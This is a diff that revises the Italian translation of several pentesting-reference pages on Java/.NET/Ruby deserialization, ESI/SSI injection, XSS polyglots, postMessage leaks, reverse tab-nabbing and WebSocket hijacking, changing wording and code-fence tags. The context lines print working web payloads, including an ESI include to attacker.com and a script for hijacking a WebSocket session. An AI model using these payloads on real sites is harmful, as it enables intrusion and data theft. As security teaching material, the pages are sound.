 - **NotSoSerial** intercetta i processi di deserializzazione per prevenire l'esecuzione di codice non attendibile.
 - **jdeserialize** consente l'analisi di oggetti Java serializzati senza deserializzarli, aiutando a identificare contenuti potenzialmente dannosi.
@ -598,7 +598,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md

 ## JMS - Java Message Service

-> L'API **Java Message Service** (**JMS**) è un'API middleware orientata ai messaggi in Java per inviare messaggi tra due o più client. È un'implementazione per gestire il problema del produttore-consumatore. JMS è parte della Java Platform, Enterprise Edition (Java EE), ed è stata definita da una specifica sviluppata presso Sun Microsystems, ma che da allora è stata guidata dal Java Community Process. È uno standard di messaggistica che consente ai componenti dell'applicazione basati su Java EE di creare, inviare, ricevere e leggere messaggi. Consente la comunicazione tra diversi componenti di un'applicazione distribuita di essere debolmente accoppiata, affidabile e asincrona. (Da [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).
+> L'API **Java Message Service** (**JMS**) è un'API middleware orientata ai messaggi in Java per inviare messaggi tra due o più client. È un'implementazione per gestire il problema del produttore-consumatore. JMS è parte della Java Platform, Enterprise Edition (Java EE), ed è stata definita da una specifica sviluppata da Sun Microsystems, ma che da allora è stata guidata dal Java Community Process. È uno standard di messaggistica che consente ai componenti dell'applicazione basati su Java EE di creare, inviare, ricevere e leggere messaggi. Consente la comunicazione tra diversi componenti di un'applicazione distribuita in modo disaccoppiato, affidabile e asincrono. (Da [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service)).

 ### Prodotti

@ -610,8 +610,8 @@ Ci sono diversi prodotti che utilizzano questo middleware per inviare messaggi:

 ### Sfruttamento

-Quindi, fondamentalmente ci sono un **gruppo di servizi che utilizzano JMS in modo pericoloso**. Pertanto, se hai **sufficienti privilegi** per inviare messaggi a questi servizi (di solito avrai bisogno di credenziali valide) potresti essere in grado di inviare **oggetti maligni serializzati che saranno deserializzati dal consumatore/sottoscrittore**.\
-Questo significa che in questo sfruttamento tutti i **clienti che utilizzeranno quel messaggio verranno infettati**.
+Quindi, fondamentalmente ci sono **un sacco di servizi che utilizzano JMS in modo pericoloso**. Pertanto, se hai **sufficienti privilegi** per inviare messaggi a questi servizi (di solito avrai bisogno di credenziali valide) potresti essere in grado di inviare **oggetti maligni serializzati che verranno deserializzati dal consumatore/sottoscrittore**.\
+Questo significa che in questo sfruttamento tutti i **client che utilizzeranno quel messaggio verranno infettati**.

 Dovresti ricordare che anche se un servizio è vulnerabile (perché deserializza in modo insicuro l'input dell'utente) devi comunque trovare gadget validi per sfruttare la vulnerabilità.

@ -619,7 +619,7 @@ Lo strumento [JMET](https://github.com/matthiaskaiser/jmet) è stato creato per

 ### Riferimenti

- Talk di JMET: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
+- Talk su JMET: [https://www.youtube.com/watch?v=0h8DWiOWGGA](https://www.youtube.com/watch?v=0h8DWiOWGGA)
 - Slide: [https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)

 ## .Net
@ -649,16 +649,16 @@ Se vuoi sapere **come ysoserial.net crea il suo exploit** puoi [**controllare qu

 Le principali opzioni di **ysoserial.net** sono: **`--gadget`**, **`--formatter`**, **`--output`** e **`--plugin`.**

- **`--gadget`** utilizzato per indicare il gadget da abusare (indica la classe/funzione che sarà abusata durante la deserializzazione per eseguire comandi).
+- **`--gadget`** utilizzato per indicare il gadget da abusare (indica la classe/funzione che verrà abusata durante la deserializzazione per eseguire comandi).
 - **`--formatter`**, utilizzato per indicare il metodo per serializzare l'exploit (devi sapere quale libreria sta utilizzando il back-end per deserializzare il payload e utilizzare la stessa per serializzarlo)
- **`--output`** utilizzato per indicare se vuoi l'exploit in **raw** o **base64** codificato. _Nota che **ysoserial.net** **coderà** il payload utilizzando **UTF-16LE** (codifica utilizzata per impostazione predefinita su Windows) quindi se ottieni il raw e lo codifichi semplicemente da una console linux potresti avere alcuni **problemi di compatibilità di codifica** che impediranno all'exploit di funzionare correttamente (nella box JSON di HTB il payload ha funzionato sia in UTF-16LE che in ASCII ma questo non significa che funzionerà sempre)._
+- **`--output`** utilizzato per indicare se vuoi l'exploit in **raw** o **base64** codificato. _Nota che **ysoserial.net** **coderà** il payload utilizzando **UTF-16LE** (codifica utilizzata per impostazione predefinita su Windows) quindi se ottieni il raw e lo codifichi semplicemente da una console linux potresti avere alcuni **problemi di compatibilità di codifica** che impediranno all'exploit di funzionare correttamente (nella box JSON di HTB il payload ha funzionato sia in UTF-16LE che in ASCII, ma questo non significa che funzionerà sempre)._
 - **`--plugin`** ysoserial.net supporta plugin per creare **exploit per framework specifici** come ViewState

 #### Altri parametri di ysoserial.net

 - `--minify` fornirà un **payload più piccolo** (se possibile)
 - `--raf -f Json.Net -c "anything"` Questo indicherà tutti i gadget che possono essere utilizzati con un formatter fornito (`Json.Net` in questo caso)
- `--sf xml` puoi **indicare un gadget** (`-g`) e ysoserial.net cercherà formatter contenenti "xml" (case insensitive)
+- `--sf xml` puoi **indicare un gadget** (`-g`) e ysoserial.net cercherà i formatter contenenti "xml" (case insensitive)

 **Esempi di ysoserial** per creare exploit:
 ```bash
@ -694,7 +694,7 @@ Debugging.ShowErrors(inputArgs, err);
 }
 }
 ```
-Questo significa che per testare l'exploit il codice chiamerà [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
+Questo significa che per testare l'exploit, il codice chiamerà [serializersHelper.JsonNet_deserialize](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Helpers/SerializersHelper.cs#L539)
 ```java
 public static object JsonNet_deserialize(string str)
 {
@ -728,7 +728,7 @@ Per mitigare i rischi associati alla deserializzazione in .Net:

 ### **Riferimenti**

- Documento sulla deserializzazione JSON in Java e .Net **: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slide: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
+- Documento sulla deserializzazione JSON di Java e .Net **: [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**,** talk: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) e slide: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
 - [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
 - [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
 - [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
@ -819,7 +819,7 @@ Altra catena RCE per sfruttare Ruby On Rails: [https://codeclimate.com/blog/rail

 ### Metodo Ruby .send()

-Come spiegato in [**questo rapporto di vulnerabilità**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), se un input non sanitizzato di un utente raggiunge il metodo `.send()` di un oggetto ruby, questo metodo consente di **invocare qualsiasi altro metodo** dell'oggetto con qualsiasi parametro.
+Come spiegato in [**questo rapporto di vulnerabilità**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), se un input non sanitizzato di qualche utente raggiunge il metodo `.send()` di un oggetto ruby, questo metodo consente di **invocare qualsiasi altro metodo** dell'oggetto con qualsiasi parametro.

 Ad esempio, chiamare eval e poi codice ruby come secondo parametro permetterà di eseguire codice arbitrario:
 ```ruby
@ -864,7 +864,7 @@ Questa tecnica è stata presa [**da questo post del blog**](https://github.blog/

 Ci sono altre librerie Ruby che possono essere utilizzate per serializzare oggetti e quindi potrebbero essere abusate per ottenere RCE durante una deserializzazione insicura. La seguente tabella mostra alcune di queste librerie e il metodo che chiamano della libreria caricata ogni volta che viene deserializzata (funzione da abusare per ottenere RCE fondamentalmente):

-<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Libreria</strong></td><td><strong>Dati di input</strong></td><td><strong>Metodo di avvio all'interno della classe</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binario</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (la classe deve essere inserita in hash(mappa) come chiave)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (la classe deve essere inserita in hash(mappa) come chiave)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (la classe deve essere inserita in hash(mappa) come chiave)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([vedi note riguardanti json_create alla fine](#table-vulnerable-sinks))</td></tr></tbody></table>
+<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Libreria</strong></td><td><strong>Dati di input</strong></td><td><strong>Metodo di avvio all'interno della classe</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binario</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (la classe deve essere inserita in hash(mappa) come chiave)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (la classe deve essere inserita in hash(mappa) come chiave)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (la classe deve essere inserita in hash(mappa) come chiave)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([vedi note riguardo json_create alla fine](#table-vulnerable-sinks))</td></tr></tbody></table>

 Esempio base:
 ```ruby
@ -888,7 +888,7 @@ puts json_payload
 # Sink vulnerable inside the code accepting user input as json_payload
 Oj.load(json_payload)
 ```
-Nel caso di tentare di abusare di Oj, è stato possibile trovare una classe gadget che all'interno della sua funzione `hash` chiamerà `to_s`, che chiamerà spec, che chiamerà fetch_path, il che è stato possibile farlo recuperare un URL casuale, fornendo un ottimo rilevatore di questo tipo di vulnerabilità di deserializzazione non sanificate.
+Nel caso di tentare di abusare di Oj, è stato possibile trovare una classe gadget che all'interno della sua funzione `hash` chiamerà `to_s`, che chiamerà spec, che chiamerà fetch_path, il quale è stato possibile farlo recuperare un URL casuale, fornendo un ottimo rilevatore di questo tipo di vulnerabilità di deserializzazione non sanificate.
 ```json
 {
 "^o": "URI::HTTP",
@ -900,7 +900,7 @@ Nel caso di tentare di abusare di Oj, è stato possibile trovare una classe gadg
 "password": "anypw"
 }
 ```
-Inoltre, è stato scoperto che con la tecnica precedente viene anche creata una cartella nel sistema, che è un requisito per abusare di un altro gadget al fine di trasformare questo in un completo RCE con qualcosa come:
+Inoltre, è stato scoperto che con la tecnica precedente viene anche creata una cartella nel sistema, che è un requisito per abusare di un altro gadget al fine di trasformare questo in un RCE completo con qualcosa come:
 ```json
 {
 "^o": "Gem::Resolver::SpecSpecification",
--- a/src/pentesting-web/open-redirect.md
+++ b/src/pentesting-web/open-redirect.md
@ -58,7 +58,7 @@ javascript://whitelisted.com?%a0alert%281%29
 ";alert(0);//
 ```
 ## Open Redirect caricamento di file svg
-```markup
+```html
 <code>
 <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
 <svg
--- a/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md
+++ b/src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md
@ -91,7 +91,7 @@ $(ls)
 ## Dangling Markup

 ### Test di base
-```markup
+```html
 <br><b><h1>THIS IS AND INJECTED TITLE </h1>
 ```
 ## [File Inclusion/Path Traversal](../file-inclusion/index.html)
@ -130,14 +130,14 @@ javascript:alert(1)
 ## [Server Side Inclusion/Edge Side Inclusion](../server-side-inclusion-edge-side-inclusion-injection.md)

 ### Test di base
-```markup
+```html
 <!--#echo var="DATE_LOCAL" -->
 <!--#exec cmd="ls" -->
 <esi:include src=http://attacker.com/>
 x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
 ```
 ### Polyglotti
-```markup
+```html
 <!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
 ```
 ## [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
@ -147,7 +147,7 @@ Gli stessi test utilizzati per Open Redirect possono essere utilizzati qui.
 ## [Server Side Template Injection](../ssti-server-side-template-injection/index.html)

 ### Test di base
-```markup
+```html
 ${{<%[%'"}}%\
 {{7*7}}
 ${7*7}
@ -162,24 +162,24 @@ ${{7*7}}
 ## [XSLT Server Side Injection](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md)

 ### Test di base
-```markup
+```html
 <xsl:value-of select="system-property('xsl:version')" />
 <esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
 ```
 ### Polyglotti
-```markup
+```html
 <xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
 ```
 ## XSS

 ### Test di base
-```markup
+```html
 " onclick=alert() a="
 '"><img src=x onerror=alert(1) />
 javascript:alert()
 ```
 ### Polyglotti
-```markup
+```html
 javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
 -->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
 jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
--- a/src/pentesting-web/postmessage-vulnerabilities/README.md
+++ b/src/pentesting-web/postmessage-vulnerabilities/README.md
@ -33,14 +33,14 @@ win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
 win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')
 ```
 Nota che **targetOrigin** può essere un '\*' o un URL come _https://company.com._\
-Nello **secondo scenario**, il **messaggio può essere inviato solo a quel dominio** (anche se l'origine dell'oggetto finestra è diversa).\
+Nel **secondo scenario**, il **messaggio può essere inviato solo a quel dominio** (anche se l'origine dell'oggetto finestra è diversa).\
 Se viene utilizzato il **carattere jolly**, i **messaggi possono essere inviati a qualsiasi dominio**, e saranno inviati all'origine dell'oggetto Window.

 ### Attacco a iframe e carattere jolly in **targetOrigin**

 Come spiegato in [**questo report**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), se trovi una pagina che può essere **iframed** (senza protezione `X-Frame-Header`) e che sta **inviando messaggi sensibili** tramite **postMessage** utilizzando un **carattere jolly** (\*), puoi **modificare** l'**origine** dell'**iframe** e **leakare** il **messaggio sensibile** a un dominio controllato da te.\
 Nota che se la pagina può essere iframed ma il **targetOrigin** è **impostato su un URL e non su un carattere jolly**, questo **trucco non funzionerà**.
-```markup
+```html
 <html>
 <iframe src="https://docs.google.com/document/ID" />
 <script>
@ -102,7 +102,7 @@ Per **trovare i listener di eventi** nella pagina corrente puoi:
 ```

 - La funzione **`match()`**, simile a `search()`, elabora regex. Se la regex è strutturata in modo improprio, potrebbe essere soggetta a bypass.
- La funzione **`escapeHtml`** è destinata a sanificare gli input sfuggendo ai caratteri. Tuttavia, non crea un nuovo oggetto sfuggito ma sovrascrive le proprietà dell'oggetto esistente. Questo comportamento può essere sfruttato. In particolare, se un oggetto può essere manipolato in modo tale che la sua proprietà controllata non riconosca `hasOwnProperty`, la `escapeHtml` non funzionerà come previsto. Questo è dimostrato negli esempi seguenti:
+- La funzione **`escapeHtml`** è destinata a sanificare gli input sfuggendo ai caratteri. Tuttavia, non crea un nuovo oggetto sfuggito ma sovrascrive le proprietà dell'oggetto esistente. Questo comportamento può essere sfruttato. In particolare, se un oggetto può essere manipolato in modo tale che la sua proprietà controllata non riconosca `hasOwnProperty`, l'`escapeHtml` non funzionerà come previsto. Questo è dimostrato negli esempi seguenti:

 - Fallimento previsto:

@ -113,7 +113,7 @@ message: "'\"<b>\\",
 result.message // "&#39;&quot;&lt;b&gt;\"
 ```

- Bypassando l'escape:
+- Bypassare l'escape:

 ```javascript
 result = u(new Error("'\"<b>\\"))
@ -124,9 +124,9 @@ Nel contesto di questa vulnerabilità, l'oggetto `File` è notevolmente sfruttab

 - La proprietà `document.domain` in JavaScript può essere impostata da uno script per accorciare il dominio, consentendo un'applicazione più rilassata della politica di stessa origine all'interno dello stesso dominio padre.

-### bypass di e.origin == window.origin
+### e.origin == window.origin bypass

-Quando si incorpora una pagina web all'interno di un **iframe sandboxed** utilizzando %%%%%%, è cruciale comprendere che l'origine dell'iframe sarà impostata su null. Questo è particolarmente importante quando si tratta di **attributi sandbox** e delle loro implicazioni sulla sicurezza e sulla funzionalità.
+Quando si incorpora una pagina web all'interno di un **iframe sandboxed** utilizzando %%%%%%, è cruciale comprendere che l'origine dell'iframe sarà impostata su null. Questo è particolarmente importante quando si trattano **attributi sandbox** e le loro implicazioni sulla sicurezza e funzionalità.

 Specificando **`allow-popups`** nell'attributo sandbox, qualsiasi finestra popup aperta dall'interno dell'iframe eredita le restrizioni sandbox del suo genitore. Ciò significa che a meno che l'attributo **`allow-popups-to-escape-sandbox`** non sia incluso, l'origine della finestra popup è anch'essa impostata su `null`, allineandosi con l'origine dell'iframe.

@ -138,7 +138,7 @@ Per ulteriori informazioni **leggi**:
 bypassing-sop-with-iframes-1.md
 {{#endref}}

-### Bypass di e.source
+### Bypassare e.source

 È possibile controllare se il messaggio proviene dalla stessa finestra in cui lo script sta ascoltando (particolarmente interessante per **Content Scripts delle estensioni del browser** per controllare se il messaggio è stato inviato dalla stessa pagina):
 ```javascript
@ -159,7 +159,7 @@ bypassing-sop-with-iframes-2.md

 Per eseguire questi attacchi, idealmente dovresti essere in grado di **mettere la pagina web della vittima** all'interno di un `iframe`. Ma alcuni header come `X-Frame-Header` possono **prevenire** quel **comportamento**.\
 In quei scenari puoi comunque utilizzare un attacco meno furtivo. Puoi aprire una nuova scheda per l'applicazione web vulnerabile e comunicare con essa:
-```markup
+```html
 <script>
 var w=window.open("<url>")
 setTimeout(function(){w.postMessage('text here','*');}, 2000);
--- a/src/pentesting-web/reverse-tab-nabbing.md
+++ b/src/pentesting-web/reverse-tab-nabbing.md
@ -27,7 +27,7 @@ Link tra pagine padre e figlio quando l'attributo di prevenzione è utilizzato:

 Crea le seguenti pagine in una cartella e avvia un server web con `python3 -m http.server`\
 Poi, **accedi** a `http://127.0.0.1:8000/`vulnerable.html, **clicca** sul link e nota come l'**URL** del **sito** **originale** **cambia**.
-```markup:vulnerable.html
+```html:vulnerable.html
 <!DOCTYPE html>
 <html>
 <body>
@ -37,7 +37,7 @@ Poi, **accedi** a `http://127.0.0.1:8000/`vulnerable.html, **clicca** sul link e
 </html>
 ```

-```markup:malicious.html
+```html:malicious.html
 <!DOCTYPE html>
 <html>
 <body>
@ -48,7 +48,7 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
 </html>
 ```

-```markup:malicious_redir.html
+```html:malicious_redir.html
 <!DOCTYPE html>
 <html>
 <body>
--- a/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md
+++ b/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md
@ -13,9 +13,9 @@ Ad esempio, potresti inserire una direttiva in una pagina HTML esistente, come:

 E, quando la pagina viene servita, questo frammento verrà valutato e sostituito con il suo valore:

-`Martedì, 15-Gen-2013 19:28:54 EST`
+`Tuesday, 15-Jan-2013 19:28:54 EST`

-La decisione su quando utilizzare SSI e quando far generare completamente la tua pagina da un programma è solitamente una questione di quanto della pagina è statico e quanto deve essere ricalcolato ogni volta che la pagina viene servita. SSI è un ottimo modo per aggiungere piccoli pezzi di informazione, come l'ora corrente - mostrata sopra. Ma se la maggior parte della tua pagina viene generata al momento in cui viene servita, devi cercare un'altra soluzione.
+La decisione su quando utilizzare SSI e quando far generare completamente la tua pagina da un programma è solitamente una questione di quanto della pagina è statico e quanto deve essere ricalcolato ogni volta che la pagina viene servita. SSI è un ottimo modo per aggiungere piccoli pezzi di informazione, come l'ora corrente - mostrata sopra. Ma se la maggior parte della tua pagina viene generata al momento in cui viene servita, devi cercare qualche altra soluzione.

 Puoi dedurre la presenza di SSI se l'applicazione web utilizza file con le estensioni **`.shtml`, `.shtm` o `.stm`**, ma non è solo questo il caso.

@ -57,7 +57,7 @@ Un'espressione SSI tipica ha il seguente formato:
 ## Edge Side Inclusion

 C'è un problema **nella memorizzazione nella cache delle informazioni o delle applicazioni dinamiche** poiché parte del contenuto potrebbe essere **variegato** per la prossima volta che il contenuto viene recuperato. Questo è ciò per cui viene utilizzato **ESI**, per indicare utilizzando i tag ESI il **contenuto dinamico che deve essere generato** prima di inviare la versione memorizzata nella cache.\
-Se un **attaccante** è in grado di **iniettare un tag ESI** all'interno del contenuto memorizzato nella cache, allora potrebbe essere in grado di **iniettare contenuto arbitrario** nel documento prima che venga inviato agli utenti.
+Se un **attaccante** è in grado di **iniettare un tag ESI** all'interno del contenuto memorizzato nella cache, allora potrebbe essere in grado di **iniettare contenuti arbitrari** nel documento prima che venga inviato agli utenti.

 ### ESI Detection

@ -93,18 +93,18 @@ hell<!--esi-->o

 - **Includes**: Supporta la direttiva `<esi:includes>`
 - **Vars**: Supporta la direttiva `<esi:vars>`. Utile per bypassare i filtri XSS
- **Cookie**: I cookie del documento sono accessibili all'engine ESI
- **Intestazioni Upstream Richieste**: Le applicazioni surrogate non elaboreranno le dichiarazioni ESI a meno che l'applicazione upstream non fornisca le intestazioni
+- **Cookie**: I cookie del documento sono accessibili al motore ESI
+- **Upstream Headers Required**: Le applicazioni surrogate non elaboreranno le dichiarazioni ESI a meno che l'applicazione upstream non fornisca le intestazioni
 - **Host Allowlist**: In questo caso, gli include ESI sono possibili solo da host server autorizzati, rendendo SSRF, ad esempio, possibile solo contro quegli host

-|         **Software**         | **Includes** | **Vars** | **Cookies** | **Intestazioni Upstream Richieste** | **Host Whitelist** |
-| :--------------------------: | :----------: | :------: | :---------: | :---------------------------------: | :----------------: |
-|            Squid3            |     Yes      |   Yes    |     Yes     |              Yes                    |         No         |
-|        Varnish Cache         |     Yes      |    No    |     No      |              Yes                    |        Yes         |
-|            Fastly            |     Yes      |    No    |     No      |              No                     |        Yes         |
-| Akamai ESI Test Server (ETS) |     Yes      |   Yes    |     Yes     |              No                     |         No         |
-|          NodeJS esi          |     Yes      |   Yes    |     Yes     |              No                     |         No         |
-|        NodeJS nodesi         |     Yes      |    No    |     No      |              No                     |      Optional      |
+|         **Software**         | **Includes** | **Vars** | **Cookies** | **Upstream Headers Required** | **Host Whitelist** |
+| :--------------------------: | :----------: | :------: | :---------: | :---------------------------: | :----------------: |
+|            Squid3            |     Yes      |   Yes    |     Yes     |              Yes              |         No         |
+|        Varnish Cache         |     Yes      |    No    |     No      |              Yes              |        Yes         |
+|            Fastly            |     Yes      |    No    |     No      |              No               |        Yes         |
+| Akamai ESI Test Server (ETS) |     Yes      |   Yes    |     Yes     |              No               |         No         |
+|          NodeJS esi          |     Yes      |   Yes    |     Yes     |              No               |         No         |
+|        NodeJS nodesi         |     Yes      |    No    |     No      |              No               |      Optional      |

 #### XSS

@ -138,12 +138,12 @@ Use <!--esi--> to bypass WAFs:
 ```
 #### File Locale Privato

-Non confondere questo con un "Inclusion di File Locale":
-```markup
+Non confondere questo con un "Includere File Locale":
+```html
 <esi:include src="secret.txt">
 ```
 #### CRLF
-```markup
+```html
 <esi:include src="http://anything.com%0d%0aX-Forwarded-For:%20127.0.0.1%0d%0aJunkHeader:%20JunkValue/"/>
 ```
 #### Open Redirect
@ -183,7 +183,7 @@ Questo invierà informazioni di debug incluse nella risposta:
 ```
 ### ESI + XSLT = XXE

-È possibile utilizzare la sintassi di **`eXtensible Stylesheet Language Transformations (XSLT)`** in ESI semplicemente indicando il valore del parametro **`dca`** come **`xslt`**. Questo potrebbe consentire di abusare di **XSLT** per creare e sfruttare una vulnerabilità di Entità Esterna XML (XXE):
+È possibile utilizzare la sintassi di **`eXtensible Stylesheet Language Transformations (XSLT)`** in ESI semplicemente indicando il valore del parametro **`dca`** come **`xslt`**. Questo potrebbe consentire di abusare di **XSLT** per creare e sfruttare una vulnerabilità di Entità Estera XML (XXE):
 ```xml
 <esi:include src="http://host/poc.xml" dca="xslt" stylesheet="http://host/poc.xsl" />
 ```
--- a/src/pentesting-web/websocket-attacks.md
+++ b/src/pentesting-web/websocket-attacks.md
@ -35,11 +35,11 @@ Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
 ```
 La connessione rimane aperta per lo scambio di messaggi in entrambe le direzioni una volta stabilita.

-**Punti chiave del handshake WebSocket:**
+**Punti chiave del WebSocket Handshake:**

 - Gli header `Connection` e `Upgrade` segnalano l'inizio di un handshake WebSocket.
 - L'header `Sec-WebSocket-Version` indica la versione del protocollo WebSocket desiderata, di solito `13`.
- Un valore casuale codificato in Base64 viene inviato nell'header `Sec-WebSocket-Key`, garantendo che ogni handshake sia unico, il che aiuta a prevenire problemi con i proxy di caching. Questo valore non è per l'autenticazione, ma per confermare che la risposta non sia generata da un server o da una cache mal configurati.
+- Un valore casuale codificato in Base64 viene inviato nell'header `Sec-WebSocket-Key`, garantendo che ogni handshake sia unico, il che aiuta a prevenire problemi con i proxy di caching. Questo valore non è per l'autenticazione ma per confermare che la risposta non sia generata da un server o da una cache mal configurati.
 - L'header `Sec-WebSocket-Accept` nella risposta del server è un hash del `Sec-WebSocket-Key`, verificando l'intenzione del server di aprire una connessione WebSocket.

 Queste caratteristiche garantiscono che il processo di handshake sia sicuro e affidabile, aprendo la strada a una comunicazione in tempo reale efficiente.
@ -68,7 +68,7 @@ Puoi utilizzare il **tool** [**https://github.com/PalindromeLabs/STEWS**](https:
 ### Strumenti di Debug per Websocket

 - **Burp Suite** supporta la comunicazione MitM dei websockets in modo molto simile a come lo fa per la comunicazione HTTP regolare.
- L'**estensione Burp Suite** [**socketsleuth**](https://github.com/snyk/socketsleuth) **ti permetterà di gestire meglio le comunicazioni Websocket in Burp ottenendo la** **storia**, impostando **regole di intercettazione**, utilizzando **regole di corrispondenza e sostituzione**, usando **Intruder** e **AutoRepeater.**
+- L'**estensione** [**socketsleuth**](https://github.com/snyk/socketsleuth) **per Burp Suite** ti permetterà di gestire meglio le comunicazioni Websocket in Burp ottenendo la **cronologia**, impostando **regole di intercettazione**, utilizzando regole di **corrispondenza e sostituzione**, usando **Intruder** e **AutoRepeater.**
 - [**WSSiP**](https://github.com/nccgroup/wssip)**:** Abbreviazione di "**WebSocket/Socket.io Proxy**", questo strumento, scritto in Node.js, fornisce un'interfaccia utente per **catturare, intercettare, inviare messaggi personalizzati** e visualizzare tutte le comunicazioni WebSocket e Socket.IO tra il client e il server.
 - [**wsrepl**](https://github.com/doyensec/wsrepl) è un **REPL websocket interattivo** progettato specificamente per il penetration testing. Fornisce un'interfaccia per osservare **i messaggi websocket in arrivo e inviarne di nuovi**, con un framework facile da usare per **automatizzare** questa comunicazione.
 - [**https://websocketking.com/**](https://websocketking.com/) è un **web per comunicare** con altri web utilizzando **websockets**.
@ -88,8 +88,8 @@ Gli attaccanti possono sfruttare questo ospitando una **pagina web malevola** ch

 Nota che quando si **stabilisce** una connessione **websocket**, il **cookie** viene **inviato** al server. Il **server** potrebbe utilizzarlo per **relazionare** ogni **singolo** **utente** con la sua **sessione websocket** basata sul cookie inviato.

-Quindi, se per **esempio** il **server websocket** **invia indietro la storia della conversazione** di un utente se viene inviato un msg con "**READY"**, allora un **semplice XSS** stabilendo la connessione (il **cookie** sarà **inviato** **automaticamente** per autorizzare l'utente vittima) **inviando** "**READY**" sarà in grado di **recuperare** la storia della **conversazione**.
-```markup
+Quindi, se per **esempio** il **server websocket** **invia indietro la cronologia della conversazione** di un utente se viene inviato un msg con "**READY"**, allora un **semplice XSS** stabilendo la connessione (il **cookie** sarà **inviato** **automaticamente** per autorizzare l'utente vittima) **inviando** "**READY**" sarà in grado di **recuperare** la cronologia della **conversazione**.
+```html
 <script>
 websocket = new WebSocket('wss://your-websocket-URL')
 websocket.onopen = start
@ -109,7 +109,7 @@ In questo post del blog [https://snyk.io/blog/gitpod-remote-code-execution-vulne

 ### Rubare dati dall'utente

